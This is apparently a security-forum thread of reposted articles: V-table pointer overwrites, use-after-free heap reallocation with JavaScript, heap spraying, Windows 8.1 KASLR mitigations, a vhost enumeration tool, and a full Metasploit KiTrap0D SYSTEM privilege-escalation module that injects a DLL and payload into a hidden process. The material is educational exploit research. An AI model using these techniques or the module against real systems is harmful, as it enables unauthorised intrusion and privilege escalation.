Nytro

[h=3]Attacking V-Table Pointers[/h]A common attack vector for software written in C++ is V-table pointer overwrites. When C++ objects are allocated on the heap, such as when the "new" keyword is used, they often get put next to other objects that are also on the heap. If there is an unbounded write to one of the objects on the heap before an object using V-tables, this type of attack is feasible. Windows has mitigations in its userland heap manager that can make it difficult to guess which objects will be next to each other on the heap. This means that even if an attacker knows that there is an unbounded write to an object on the heap, the attacker would not know what object is right after it on the heap, making it much more difficult to exploit reliably. The following example code uses Virtual functions, which imply V-table usage when compiled with the Microsoft Visual C++ compiler: /*the following class definitions were modified from http://en.wikipedia.org/wiki/Virtual_function_table */ #include <iostream> using namespace std; class B1 //base class { public: virtual void f0() {} virtual void f1() {} }; class B2 //base class { public: virtual void f2() {} virtual void f3() {} }; class D : public B1, public B2 { //derived class inherits both base classes public: void d() {} void f0() {} // override B1::f0() void f1() {} // override B1::f1() void f2() {} // override B2::f2() void f3() {} // override B2::f3() }; int main(int argc, char* argv[]) { B2 *b2 = new B2(); D *d = new D(); d->f0(); //vtable lookup d->f1(); //vtable lookup d->f2(); //vtable lookup d->f3(); //vtable lookup } Below is the relevant assembly code of the above C++ code showing how virtual functions are accessed in objects that make use of virtual functions: d->f0(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(pointer to B1 V-table) mov eax,dword ptr [edx] //eax=first entry in B1 V-Table(address of f0) call eax d->f1(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(pointer to B1 V-table) mov eax,dword ptr [edx+4] //eax=second entry in B1 V-Table(address of f1) call eax d->f2(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax+4] //edx=second dword in d object(pointer to B2 V-table) mov eax,dword ptr [edx] //eax=first entry in B2 V-table(address of f2) call eax d->f3(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax+4] //edx=second dword in d object(pointer to B2 V-table) mov eax,dword ptr [edx+4] //eax=second entry in B2 V-table(address of f3) call eax The common pattern in all of these virtual function lookups is as follows: Dereference the object pointer which contains the V-table. Dereference the relevant V-Table pointer within the object from step 1. Dereference the relevant function pointer inside the V-table from step 2. Call the function found in step 3. In Windbg, we can verify that d was indeed allocated on the heap because our local variables are: 0:000> dv argc = 0n1 argv = 0x00574660 d = 0x00574720 b2 = 0x005746e0 More info about where our d object is allocated: 0:000> !heap -p -a 0x00574720 address 00574720 found in _HEAP @ 570000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 005746f8 0009 0000 [00] 00574700 0002c - (busy) Below is a graphical depiction of the relationship between our heap objects and the V-tables they reference. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Normal V-table layout[/TD] [/TR] [/TABLE] If we wanted to exploit a V-table pointer overwrite and highjack a call to d->f1(), we have to make sure our "fake V-table" and attacker code is in place before executing the call. For this example let's assume the "fake V-table" is at 0xDEADBEEF and our attacker code is at 0x41414141. This can be achieved by memory spraying, which would ensure that the following predicates would be true: Address 0xDEADBEEF has already been allocated and is readable. The DWORD at 4 bytes past 0xDEADBEEF(doing the math, that would just be 0xDEADBEF3) is the address of attacker code that we want to execute. Our attacker code exists at 0x41414141. We would need to overwrite the pointer(stored in the heap-allocated object) to the B1 class V-table with the value 0xDEADBEEF. In the following example, we overwrote the pointer(stored at 0x00574720) to the B1 V-table with the value 0xDEADBEEF. Now, if a call to d->f1() happened, the follow sequence of events would occur: d->f1(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(our 0xDEADBEEF value) mov eax,dword ptr [edx+4] //eax=0x41414141 call eax //call into our attacker code instead of d->f1() [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Overwritten V-table pointers with sprayed fake V-table and attacker code[/TD] [/TR] [/TABLE] Posted by Neil Sikka Sursa: InfoSec Research: Attacking V-Table Pointers

Understanding the Low Fragmentation Heap Blackhat USA 2010 Chris Valasek X-Force Researcher cvalasek = gmail.com @nudehaberdasher Table of Contents Introduction ................................................................................................................................................ 4 Overview ................................................................................................................................................. 4 Prior Works ............................................................................................................................................. 5 Prerequisites ........................................................................................................................................... 6 Terminology ............................................................................................................................................ 6 Notes ...................................................................................................................................................... 7 Data Structures ........................................................................................................................................... 7 _HEAP ..................................................................................................................................................... 7 _HEAP_LIST_LOOKUP.............................................................................................................................. 9 _LFH_HEAP ........................................................................................................................................... 10 _LFH_BLOCK_ZONE ............................................................................................................................... 11 _HEAP_LOCAL_DATA ............................................................................................................................ 11 _HEAP_LOCAL_SEGMENT_INFO ........................................................................................................... 12 _HEAP_SUBSEGMENT ........................................................................................................................... 12 _HEAP_USERDATA_HEADER ................................................................................................................. 13 _INTERLOCK_SEQ .................................................................................................................................. 14 _HEAP_ENTRY ....................................................................................................................................... 15 Overview ............................................................................................................................................... 16 Architecture .............................................................................................................................................. 17 FreeLists ................................................................................................................................................ 17 Algorithms ................................................................................................................................................ 20 Allocation .............................................................................................................................................. 20 Back-end Allocation .............................................................................................................................. 21 RtlpAllocateHeap .............................................................................................................................. 21 Overview ........................................................................................................................................... 27 Front-end Allocation ............................................................................................................................. 28 RtlpLowFragHeapAllocFromContext ................................................................................................. 28 Overview ........................................................................................................................................... 36 Example ............................................................................................................................................ 37 Freeing .................................................................................................................................................. 40 Back-end Freeing .............................................................................................................................. 41 RtlpFreeHeap .................................................................................................................................... 41 Overview ........................................................................................................................................... 47 Front-end Freeing ................................................................................................................................. 48 RtlpLowFragHeapFree ....................................................................................................................... 48 Overview ........................................................................................................................................... 51 Example ............................................................................................................................................ 52 Security Mechanisms ................................................................................................................................ 55 Heap Randomization ............................................................................................................................. 55 Comments ......................................................................................................................................... 56 Header Encoding/Decoding .................................................................................................................. 56 Comments ......................................................................................................................................... 57 Death of bitmap flipping ....................................................................................................................... 58 Safe Linking ........................................................................................................................................... 59 Comments ......................................................................................................................................... 59 Tactics ....................................................................................................................................................... 60 Heap Determinism ................................................................................................................................ 60 Activating the LFH ............................................................................................................................. 60 Defragmentation ............................................................................................................................... 61 Adjacent Data ................................................................................................................................... 62 Seeding Data ..................................................................................................................................... 63 Exploitation ........................................................................................................................................... 67 Ben Hawkes #1 .................................................................................................................................. 67 FreeEntryOffset Overwrite ................................................................................................................ 71 Observations ......................................................................................................................................... 79 SubSegment Overwrite ..................................................................................................................... 79 Example ............................................................................................................................................ 83 Issues ................................................................................................................................................ 83 Conclusion ................................................................................................................................................ 85 Bibliography .............................................................................................................................................. 86 Download: http://www.illmatics.com/Understanding_the_LFH.pdf

[h=3]Low Fragmentation Heap ReAllocation for Use After Free Exploitation[/h]Use After Free (UAF) vulnerabilities occur when the application frees an object on the heap, and then tries to erroneously use it again (usually due to a stale pointer reference to the freed object). A common exploitation technique to target a UAF vulnerability is to try to reallocate heap memory between the time when the application frees the memory and when it erroneously dereferences the stale pointer to the freed memory. This reallocation would fill the “hole” left by the application when it initially freed the object. The typical timeline of this type of attack is as follows: 1) Application frees object on the heap 2) Attacker reallocates objects on the heap 3) Application erroneously dereferences freed pointer Note that in normal circumstances, A UAF would crash the program due to an Access Violation. However, when the application is being exploited, the attacker’s reallocation serves 2 main purposes: 1) Make sure that there is data at the location pointed to by the stale pointer so the application doesn’t crash on erroneous dereference and 2) Craft the data in the reallocation in such a way that the dereference would help the attacker gain control over the Instruction Pointer (EIP on x86). In Internet Explorer, exploits often use JavaScript to reallocate freed objects on a heap with the Windows Low Fragmentation Heap (LFH) policy activated and groom the backend heap in order to eventually gain control over the Instruction Pointer. The connection between JavaScript and freed objects is as follows: "When string attributes of HTML objects are assigned in JavaScript, the strings are often stored in the same Front End LFH that the freed objects were stored in." The significance of this statement is that attackers can craft maliciously formatted strings in JavaScript and have the strings fill holes left by the freed objects. In order to reallocate the holes left by the freed objects, the attacker must make sure the strings are of the same size as the freed objects, so that the stings will get allocated in the same LFH bucket as the freed object. Once the object of interest has been freed, and the attacker can assign those strings as attributes to an array of HTML nodes, and those strings are likely to be allocated on the same LFH as the freed object. Eventually, if this process is repeated enough, a reallocation of the “hole” left by the freed object would occur. This means that the next time the application dereferences the stale pointer (ie for a virtual function call), it would get the attacker’s string rather than the object it expects to be there. This would be how the attacker initially takes control of the Instruction Pointer. Below is an example of what this process may look like in JavaScript: //create an array of HTML elements whose string attributes we will assign laterfor (var i = 0 ; i < numObjects; i++) objectArray = document.createElement('div'); /* "prime" LFH by allocating a few strings of the same size as the object of interest to enable the LFH bucket for this allocation size */ for (var x = 0; x < primeAmount; x++) objectArray[x].title = pattern; //application allocates object here //application frees object here //fill the hole left by the freed object assuming primeAmount < numObjects for (var z = primeAmount; z < numObjects; z++) objectArray[z].title = pattern; //attributes should be allocated on LFH //application erroneously uses object here The JavaScript “pattern” string above was carefully crafted to meet the following criteria: 1) It must be the same size as the erroneously freed object, so that it will be reallocated in the same LFH Bucket. 2) Its value must be specifically crafted to help gain code execution. For example, if the freed object was a C++ object with a V-Table pointer, one of the first few DWORDs must point to a location in memory which the attacker controls (usually via a Heap Spray of the backend heap) that contains a malicious V-Table. For more information, see prior article about V-Tables. For more information about the Low Fragmentation Heap, see: http://msdn.microsoft.com/en-ca/windows/desktop/aa366750(v=vs.85).aspx http://www.illmatics.com/Understanding_the_LFH.pdf Posted by Neil Sikka Sursa: InfoSec Research: Low Fragmentation Heap ReAllocation for Use After Free Exploitation

Visual Heap Spray Prerequisite Reading: Previous “Low Fragmentation Heap ReAllocation for Use After Free Exploitation” article Previous “Attacking V-Table Pointers” article Heap Sprays are a common method attackers use to introduce determinism in a program’s address space. They aim to control a program’s memory layout in such a way that an attacker can reliably predict what will be in memory at a certain address (Address of Interest) at a certain point in execution. For example, if there is a Use-After-Free bug, on an object with a V-Table, the object can be reallocated and the offset of the V-Table pointer in the object can point to an address that the attacker knows will contain the spray (Address of Interest). This knowledge often comes from trial and error when writing the exploit. The Address of Interest makes a big difference in the quality of the exploit. For example, a very popular Address of Interest is 0x0c0c0c0c. The reasoning behind this Address of Interest is that the address must be low in the process’s address space (the highest Nibble of this address is 0x0), yet must be at a higher address in memory than the heap being sprayed (the second highest Nibble is 0xc) so that when the heap grows due to the memory pressure of the spray, it will grow into this address. Using high addresses such as 0xc0c0c0c (the highest Nibble is 0xc) would require that the application freezes for a longer period of time before the heap spray is complete. A victim that is being targeted might get bored and close the process (web browser in this case) due to the fact that it has appeared to freeze during the long time taken to spray, thereby precluding any possibility of successful exploitation. Visualizations: Below are some memory usage visualizations taken with the vmmap tool from SysInternals before and after the heap spray. The orange color represents the Backend Heap in the process’s address space. Two things to notice are the large growth in the orange segment of the graphs below and the difference in the “Committed” usage before and after the spray (it grows from about 136 MB to about 698 MB). Before Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Usage before Heap Spray[/TD] [/TR] [/TABLE] After Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Usage after Heap Spray[/TD] [/TR] [/TABLE] Below are graphical representations of the memory layout before and after the spray. The “After Spray” visualization has the approximate address of 0x0c0c0c0c marked for the reader’s convenience. One might make the argument that since 0x0c0c0c0c is relatively early in the heap spray, the heap spray could have been reduced to minimize the time the victim has to wait for the spray to finish. Before Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Layout before Heap Spray[/TD] [/TR] [/TABLE] After Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Layout after Heap Spray[/TD] [/TR] [/TABLE] How to Heap Spray in Internet Explorer: In IE, heap sprays are often done by allocating and assigning large strings from JavaScript. Sprays are often done on the Backend Heap (rather than the Low Fragmentation Heap). In order to get strings allocated on the Backend Heap, the strings must be larger than 16KB. Example JavaScript follows: for (var z = primeAmount; z < numObjects; z++) objectArray[z].title = pattern; The Heap Spraying technique does not come without some drawbacks, leading to some researchers referring to heap sprays as “For the 99%”. In some cases, exploitation can be made more reliable by finding multiple "good" bugs rather than heap spraying: It might take a long time to spray (user might get impatient and terminate the program). Depending on preexisting memory layout due to external factors (loaded plugins, other webpages visited prior to this one, etc), spraying can be unreliable. Too much spraying might cause the Operating System to swap memory pages out to disk (depending on how much physical memory the victim’s machine has) and JavaScript Exceptions. New IE mitigations might prevent highjacking virtual function calls. There is no guarantee that the Address of Interest will contain the spray-an executable image or something else might be mapped at the Address of Interest, depending on the address space and system configuration unique to the victim. Libraries: The community has done some great work to reduce the barrier of entry into this space. Multiple open source libraries have been written by researchers to abstract away the details of heap mechanics. In the example presented in this article, the heap reallocation/spray was done manually, but libraries such as HeapLib by Alex Sotirov and HeapLib2 by Chris Valasek allow users to just call into them in order to perform reallocation/sprays. Code review of HeapLib2 shows that this article, the prerequisite readings and HeapLib2 all use the same technique to reallocate and spray the heap. Posted by Neil Sikka Sursa: InfoSec Research: Visual Heap Spray

[h=1]Blind XSS[/h] Adam Baldwin is the Team Lead at Lift Security, a web application security consultancy and the Chief Security Officer at &yet (andyet.net). He at one time possessed a GCIA and CISSP. Adam is a highly knowledegable information security expert having created the DVCS pillaging toolkit, helmet: the security header middleware for node.js, a minor contributor to the W3AF project, and has previously spoken at DEF CON, Toorcon, Toorcamp, Djangcon, and JSconf. Adam kindly shared his slides which you can download here (.pdf) Sursa: Blind XSS hacking with Adam Baldwin - How to Hack websites using cross-site scripting

Sniffing the USB traffic of a PS4 controller by dyngnosis on Nov.17, 2013 So, in previous posts we looked at using facedancer21 and umap.py to fuzz the the PS4 USB interface. The fuzz cases are pretty simple but they certainly did their job. It is time to start thinking about customizing the existing fuzzer to fuzz a specific device — the PS4 controller. There has been a bunch of work getting open source support for the PS3 controller. So we have a great starting point to work with on that end. I’m going to have to read up on the USB protocol a bit better and really look at how umap implements its fuzz cases and how they implement the protocol. For now lets take a look at the USB traffic generated by the device. To do this I used USBPcap with wireshark: Below is a capture of the traffic that occurs when you plug the device in: [1] Packet one is sent from the host to 30 (the usb device). It is asking for a descripter. [2] The device sends a descripter response: The device responds with information that identifies itself including idVendor of 0x054c for Sony Corp. and an idProduct of “0x05c4?. The PlayStation 3 controller responds with (0×0268) for Batoh Device / PlayStation 3 Controller. Next (in packet 4) the host asks the device for a Configuration Descriptor. In packet five the device responds and says hey.. my bMaxPower is FA (500ma) In packet eight we find out that this device has two end points. On the PlayStation 3 controller we find endpoints at 2 and 1 (out and in respectively). On the PS4 controller we find endpoints at 4(in) and 3(out). Also note the ” UNKNOWN DESCRIPTOR ” The data is 09 21 11 01 00 01 22 d2 01 09 is clearly the length. I’ll have to look into the rest. PS3 Endpoints: PS4 Endpoints The next interesting packet happens after packet 14 when the host asks the USB device for RPIPE Descriptor. There are a ton of interesting patterns/sequences in this binary blob. We can even see the result of increment word values in the ascii representation. NOTE: The PS3 controller does not send this data. Packets 17 onward are the stream of data sent from the controller to the host device. I’ve been able to pick out values that represent the X Y Z axis of the controller gyroscope. I’m sure picking out the values that change when buttons are pressed is a simple procedure and something that was done long ago by other people when creating opensource drivers for the PS3 controller. To go further I’ll need to go read some USB spec stuff and the open source implementations of the PS3 driver. With this though, we do have enough to start customizing the fuzzer and start thinking about fields we can fuzz. Sursa: Sniffing the USB traffic of a PS4 controller

KASLR Bypass Mitigations in Windows 8.1 Introduction As some of you may know, back in June of 2013, I gave a talk at Recon, a security conference in Montreal, about KASLR Information Bypasses/Leaks in the Windows NT kernel, entitled “I got 99 problems but a kernel pointer ain’t one”. The point of the presentation was both to collect and catalog the many ways in which kernel pointers could be leaked to a local userspace attacker (some of which were known, others not so much), as well as raise awareness to the inadequate protection, and sometimes baffling leaking of, such data. After sharing my slides and presentation with some colleagues from Microsoft, I was told to “expect some changes in Windows 8.1?. I was initially skeptical, because it seemed that local KASLR bypasses were not at the top of the security team’s list — having been left behind to accumulate for years (a much different state than Apple’s OS X kernel, which tries to take a very strong stance against leaking pointers). As Spender likes to point out, there will always be KASLR bugs. But in Windows, there were documented APIs to serve them on a platter for you. Restricted Callers Our investigation begins with an aptly named new Windows 8.1 kernel function: BOOLEANExIsRestrictedCaller ( _In_ KPROCESSOR_MODE PreviousMode ) { PTOKEN Token; NTSTATUS Status; BOOLEAN IsRestricted; ULONG IntegrityLevel; PAGED_CODE(); // // Kernel callers are never restricted // if (PreviousMode == KernelMode) { return FALSE; } // // Grab the primary token of the current process // Token = PsReferencePrimaryToken(PsGetCurrentProcess()); NT_ASSERT(Token != NULL); // // Get its integrity level // Status = SeQueryInformationToken(Token, TokenIntegrityLevel, &IntegrityLevel); ObDereferenceObject(Token); // // If the integrity level is below medium, or cannot be // queried, the caller is restricted. // if (!NT_SUCCESS(Status) || IntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID) { IsRestricted = TRUE; } else { IsRestricted = FALSE; } // // Return the caller's restriction state // return IsRestricted; } This now introduces a new security term in the Windows kernel lingo — a “restricted caller”, is a caller whose integrity level is below Medium. For those unfamiliar with the concept of integrity levels, this includes most applications running in a sandbox, such as Protected Mode IE, Chrome, Adobe Reader and parts of Office. Additionally, in Windows 8 and higher, it includes all Modern/Metro/TIFKAM/MoSH/Immersive/Store applications. So, what is it exactly that these restricted callers cannot do? System-wide Information Mitigations First of all, STATUS_ACCESS_DENIED is now returned when calling NtQuerySystemInformation, with the following classes: SystemModuleInformation — Part of my (and many others) presentation, this disables the EnumSystemDrivers API and hides the load address of kernel drivers (finally!). SystemModuleInformationEx — A new information class that was recently added in Vista and leaked as much as the one above. SystemLocksInformation — Part of my presentation (and also found by j00ru), this leaked the address of ERESOURCE locks in the system. SystemStackTraceInformation — Indirectly mentioned in the ETW/Performance section of my presentation, this leaked kernel stack addresses, but only if the right global flags were set. SystemHandleInformation — Part of my presentation, and well known beforehand, this was NT’s KASLR-fail posterboy: leaking the kernel address of every object on the system that had at least one handle open (i.e.: pretty much all of them). SystemExtendedHandleInformation — Another new Vista information class, which was added for 64-bit support, and leaked as much as above. SystemObjectInformation — Part of my presentation, if the right global flags were set, this dumped the address of object types and objects on the system, even if no handles were open. SystemBigPoolInformation — Part of my presentation, this dumped the address of all pool (kernel heap) allocations over 4KB (so-called “big” allocations). SystemSessionBigPoolInformation — The session-specific little brother of the above, perfect for those win32k.sys exploits. Thread Information Mitigations But that’s not all! Using the well-known SystemProcessInformation information class, which famously dumps the entrypoint addresses of system threads (pretty much giving you a function pointer into almost all loaded drivers), as well as the kernel stack base and stack limit of all the threads on the system (used by j00ru in his GS-stack-cookie-guessing attacks, since the cookie is partly generated with this information), now introduces some additional checks. First of all, there are now three information classes related to this data. SystemProcessInformation, which is well-understood. SystemExtendedProcessinformation, which was documented by j00ru and wj32. This returns the SYSTEM_EXTENDED_THREAD_ INFORMATION structure containing the stack base, limit, and Win32 start address. SystemFullProcessInformation, which is new to Windows 8.1. This returns the SYSTEM_PROCESS_INFORMATION_EXTENSION below: +0x000 DiskCounters : _PROCESS_DISK_COUNTERS (the new Windows 8 I/O counters at the disk level, copied from EPROCESS) +0x028 ContextSwitches : Uint8B (Copied from KPROCESS) +0x030 Flags : Uint4B (See below) +0x030 HasStrongId : Pos 0, 1 Bit (in other words, strongly named -- AppContainer) +0x030 Spare : Pos 1, 31 Bits (unused) +0x034 UserSidOffset : Uint4B (The offset, hardcoded to 0x38, of the primary user SID) (By the way, I hear Microsoft is taking suggestions on the upcoming 4th information class in Windows 9. Current leader is SystemFullExtendedProcessInformation.) It’s unfortunate that Microsoft continues to keep these APIs undocumented — the documented Win32 equivalents require up to 12 separate API calls, all of which return the same data 12 times, with the Win32 interface only picking one or two fields each time. Back to our discussion about KASLR, the behavior of this information class is to also apply the restricted caller check. If the caller is restricted, then the stack limit, stack base, start address, and Win32 start address fields in the thread structures will all be zeroed out. Additionally, to use the new “full” information class, the caller must be part of the Administrators group, or have the Diagnostic Policy Service SID in its token. Interestingly, in these cases the restricted caller check is not done — which makes sense after all, as a Service or Admin process should not be running below medium integrity. Process Information Mitigations The checks for restricted callers do not stop here however. A few more interesting cases are protected, such as in NtQueryInformationProcess, in which ProcessHandleTracing is disabled for such callers. I must admit this is something I missed in my KASLR analysis (and no obvious hits appear on Google) — this is an Object Manager feature (ironically, one which I often use) related to !obtrace and global flags, which enables seeing a full stack trace and reference count analysis of every object that a process accesses. Obviously, enabling this feature on one own’s process would leak the kernel pointers of all objects, as well as stack traces of kernel code and drivers that are in the path of the access (or running in the context of the process and performing some object access, such as during an IRP). Another obvious “d’oh!” moment was when seeing the check performed when setting up a Profile Object. Profile Objects are a little-talked about feature of NT, which primarily power the “kernrate” utility that is now rather deprecated (but still useful for analyzing drivers that are not ETW-friendly). This feature allows the caller to setup “buckets” — regions of memory — in which every time the processor is caught with its instruction pointer/program counter cause a trace record to be recorded. In a way similar to some of the cache/TLB prediction attacks shown recently, in which the processor’s trace buffer is queried for address hits, the same could be setup using an NT profile object, which would reveal kernel addresses. In Windows 8.1, attempts to setup buckets above the userspace barrier will result in failure if the caller is restricted. Last but not least, the ProcessWorkingSetWatch and ProcessWorkingSetWatchEx classes of NtQueryInformationProcess are also now protected. I didn’t talk about these two at Recon, and again I’m not aware of any other public research on these, but they’ve always been my favorite — especially because PSAPI, documented on MSDN, exposes Win32 friendly versions of these (see GetWsChanges). Basically, once you’ve turned WS Watch on your process, you are given the address of every hard fault, as well as the instruction pointer/program counter at the time of the fault — making it a great way to extract both kernel data and code addresses. Instead of going through the trouble of pruning kernel accesses from the working set watch log, the interface is now simply completely disabled for restricted callers. Conclusion Well, there you have it folks! Although a number of undocumented interfaces and mechanisms still exist to query protected KASLR pointers, the attack surface has been greatly decreased — eliminating almost all non-privileged API calls, requiring at least Medium IL to use them (thus barring any Windows Store Apps from using them). This was great work done by the kernel security team at Microsoft, and continues to showcase the new lengths at which Windows is willing to go to maintain a heightened security posture. It’s only one of the many other exciting security changes in Windows 8.1 Autor: Alex Ionescu Sursa: http://www.alex-ionescu.com/?p=82

Da, e ok, si mie imi captureaza acele "Accept-Encoding" dar nu vad sa prinda login-ul pe <form> si nici SSL strip-ul nu pare sa mearga.

Stealth [ just.a.legend ]

MenuetOS is an Operating System in development for the PC written entirely in 32/64 bit assembly language. Menuet64 is released under License and Menuet32 under GPL. Menuet supports 32/64 bit x86 assembly programming for smaller, faster and less resource hungry applications. Menuet isn't based on other operating system nor has it roots within UNIX or the POSIX standards. The design goal, since the first release in year 2000, has been to remove the extra layers between different parts of an OS, which normally complicate programming and create bugs. Menuet's application structure isn't specifically reserved for asm programming since the header can be produced with practically any other language. However, the overall application programming design is intended for 32/64 bit asm programming. Menuet programming is fast and easy to learn. Menuet's responsive GUI is easy to handle with assembly language. And Menuet64 is capable of running Menuet32 applications. News - 11.11.2013 M64 0.99.34 released - Updates, improvements - 19.01.2013 M64 0.98.99 released - Mathlib based on Naoki Shibata's SLEEF-library - 11.03.2012 M64 0.98.43 released - Updates, bugfixes, improvements (printer,unzip,..) - 25.06.2011 M64 0.96X released - IntelHDA (ALC662) audio driver - 01.06.2011 M64 0.96P released - Intel Pro/1000 and Realtek 816x/811x drivers from Ian Seyler - 12.03.2011 M64 0.95Z released - Updates, bugfixes, improvements (usb,smp,tcp,..) - 12.10.2010 M64 0.94H released - Fourier transform, sinc and resampler from A.Mogyorosi - 24.06.2010 M64 0.94B released - More supported TV-tuners & MPlayer 0.51 - 12.06.2010 M64 0.93X released - Multi-Processor support - 10.01.2010 M64 0.92H released - Digital TV support (dvb-t) - 02.09.2009 M64 0.91J released - New bootup desktop (transparency, background) - 20.08.2009 M64 MediaPlayer by V.Turjanmaa & A.Mogyorosi - 14.08.2009 M64 0.90U released - Improved HTTP client & GUI transparency - 29.12.2007 CD available for download - 31.08.2013 M32 0.85C released Features - Pre-emptive multitasking with 1000hz scheduler, multithreading, multiprocessor, ring-3 protection - Responsive GUI with resolutions up to 1920x1080, 16 million colours - Free-form, transparent and skinnable application windows, drag'n drop - SMP multiprocessor support with currently up to 8 cpus - IDE: Editor/Assembler for applications - USB 2.0 HiSpeed Classes: Storage, Printer, Webcam Video and TV/Radio support - USB 1.1 Keyboard and Mouse support - TCP/IP stack with Loopback & Ethernet drivers - Email/ftp/http/chess clients and ftp/mp3/http servers - Hard real-time data fetch - Fits on a single floppy, boots also from CD and USB drives Sursa: MenuetOS

23:59 zic baetii. Stam cu ochii pe ceas si depunem plangere la OPC daca ne mint.

Ban. Avem market. Nu ai 50 de posturi.

[h=1]Finding all the vhosts[/h] Published 11/11/2013 | By MWE There are a number of ways to own a webapp. In a shared environment, an attacker can enumerate all the applications accessible and target the weakest one to root the server and with it all the webapps on the box. To try and emulate this approach on a pentest, we have to find ALL THE VHOSTS. [h=2]Key features[/h] This natty python 2 script scrapes a series of web applications (including bing and yougetsignal’s database) and looks at Subject Alternative Names in the SSL certificate to find as many web applications which resolve to an IP address as possible. No guarantees are made as to the completeness or accuracy of the data, but it’s the best we can do. It can give an insight into the attack surface associated with a given IP address, allowing testers to advise client in situations where the risk is out of their control. [h=2]Usage and example[/h] $ python2 allthevhosts.py 213.165.238.226 [+] bing search complete [+] myipneighbours Search Complete [E]ipneighbour search error. [+] yougetsignal Search Complete [+] SAN enumeration complete. [+] resolved original addresss... [+] verifying that 8 found URLs resolve to the same address [+] all URLs resolved www.portcullis-security.com labs.portcullis.co.uk www.portcullis.co.uk ctads.net portcullis-forensics.com portcullis-security.com portcullis.co.uk Download: http://labs.portcullis.co.uk/download/allthevhosts.tar.gz Sursa: Finding all the vhosts | Portcullis Labs

Headerul e naspa (logo) Footerul e prea mare si gol. Nu ai <title> E Wordpress.

De unde stiti ca nu e Fake? Mai multe "detalii":

Windows SYSTEM Escalation Via KiTrap0D Authored by H D Moore, Pusscat, Tavis Ormandy, OJ Reeves | Site metasploit.com This Metasploit module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll and is not supported on x64 editions of Windows. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/exe' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Post::File include Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'Windows SYSTEM escalation via KiTrap0D', 'Description' => %q{ This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Original resesarcher and exploit creator 'HD Moore', # Port of Tavis' code to meterpreter module 'Pusscat', # Port of Tavis' code to meterpreter module 'OJ Reeves' # Port of meterpreter code to a windows local exploit ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2010-0232' ], [ 'OSVDB', '61854' ], [ 'MSB', 'MS10-015' ], [ 'EDB', '11199' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Jan/341' ] ], 'DisclosureDate'=> "Jan 19 2010" )) end def check # Validate platform architecture if sysinfo["Architecture"] =~ /x64|WOW64/i return Exploit::CheckCode::Safe end # Validate OS version winver = sysinfo["OS"] unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/ return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") end dll = '' offset = nil print_status("Launching notepad to host the exploit...") cmd = "notepad.exe" opts = {'Hidden' => true} process = client.sys.process.execute(cmd, nil, opts) pid = process.pid host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) print_good("Process #{pid} launched.") print_status("Reflectively injecting the exploit DLL into #{pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0232", "kitrap0d.x86.dll") library_path = ::File.expand_path(library_path) ::File.open(library_path, 'rb') { |f| dll = f.read } pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) pe.exports.entries.each do |e| if e.name =~ /^\S*ReflectiveLoader\S*/ offset = pe.rva_to_file_offset(e.rva) break end end # Inject the exloit, but don't run it yet. exploit_mem = inject_into_pid(dll, host_process) print_status("Exploit injected. Injecting payload into #{pid}...") # Inject the payload into the process so that it's runnable by the exploit. payload_mem = inject_into_pid(payload.encoded, host_process) print_status("Payload injected. Executing exploit...") # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. host_process.thread.create(exploit_mem + offset, payload_mem) print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end protected def inject_into_pid(payload, process) payload_size = payload.length payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0 payload_mem = process.memory.allocate(payload_size) process.memory.protect(payload_mem) process.memory.write(payload_mem, payload) return payload_mem end end Info: Full Disclosure: Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack Sursa: Windows SYSTEM Escalation Via KiTrap0D ? Packet Storm

